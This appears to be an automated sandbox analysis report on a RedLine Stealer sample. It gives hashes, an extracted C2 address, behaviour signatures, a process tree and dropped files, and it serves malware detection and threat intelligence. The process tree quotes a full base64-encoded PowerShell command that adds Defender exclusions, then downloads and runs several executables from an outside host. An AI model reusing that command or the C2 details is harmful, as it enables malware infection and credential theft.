Analysis

  • max time kernel
    177s
  • max time network
    210s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    16/01/2023, 13:18

General

  • Target

    17855519b9e1bde7cabf66a422b5671d4d462968.exe

  • Size

    365KB

  • MD5

    ee244310289c82ebe8c73cfd83329f49

  • SHA1

    17855519b9e1bde7cabf66a422b5671d4d462968

  • SHA256

    702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

  • SHA512

    20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b

  • SSDEEP

    6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 4 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
    "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
        PID:2012
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1532
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
          3⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2028
          • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
            "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
            4⤵
            • Executes dropped EXE
            PID:1552
          • C:\Users\Admin\AppData\Local\Temp\new2.exe
            "C:\Users\Admin\AppData\Local\Temp\new2.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1980
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
              5⤵
                PID:1264
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1980 -s 36
                5⤵
                • Loads dropped DLL
                • Program crash
                PID:1800
            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
              "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
              4⤵
              • Executes dropped EXE
              PID:616
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 36
          2⤵
          • Program crash
          PID:1272

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

              Filesize

              1.4MB

              MD5

              b6bbab9f72c88d07b484cc339c475e75

              SHA1

              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

              SHA256

              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

              SHA512

              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

            • C:\Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • \Users\Admin\AppData\Local\Temp\C4Loader.exe

              Filesize

              1.4MB

              MD5

              bb86a343080f9f4696c250ef31a18d9d

              SHA1

              43b2193dcb1d56eac73ba88a7b461822074192d6

              SHA256

              095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

              SHA512

              24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

            • \Users\Admin\AppData\Local\Temp\SysApp.exe

              Filesize

              1.4MB

              MD5

              b6bbab9f72c88d07b484cc339c475e75

              SHA1

              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

              SHA256

              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

              SHA512

              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

            • \Users\Admin\AppData\Local\Temp\SysApp.exe

              Filesize

              1.4MB

              MD5

              b6bbab9f72c88d07b484cc339c475e75

              SHA1

              f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

              SHA256

              dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

              SHA512

              1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • \Users\Admin\AppData\Local\Temp\new2.exe

              Filesize

              464KB

              MD5

              990c8e3fc56a2734631b51fc61a6779a

              SHA1

              55a16cc67fc52cdf0690387e083955048106d48a

              SHA256

              d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

              SHA512

              f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

            • memory/1264-87-0x0000000000400000-0x0000000000420000-memory.dmp

              Filesize

              128KB

            • memory/1264-80-0x0000000000400000-0x0000000000420000-memory.dmp

              Filesize

              128KB

            • memory/1264-78-0x0000000000400000-0x0000000000420000-memory.dmp

              Filesize

              128KB

            • memory/1264-88-0x0000000000400000-0x0000000000420000-memory.dmp

              Filesize

              128KB

            • memory/1532-56-0x0000000000400000-0x0000000000405000-memory.dmp

              Filesize

              20KB

            • memory/1532-65-0x0000000000400000-0x0000000000405000-memory.dmp

              Filesize

              20KB

            • memory/1532-54-0x0000000000400000-0x0000000000405000-memory.dmp

              Filesize

              20KB

            • memory/1532-63-0x0000000076091000-0x0000000076093000-memory.dmp

              Filesize

              8KB

            • memory/2028-69-0x0000000073020000-0x00000000735CB000-memory.dmp

              Filesize

              5.7MB

            • memory/2028-68-0x0000000073020000-0x00000000735CB000-memory.dmp

              Filesize

              5.7MB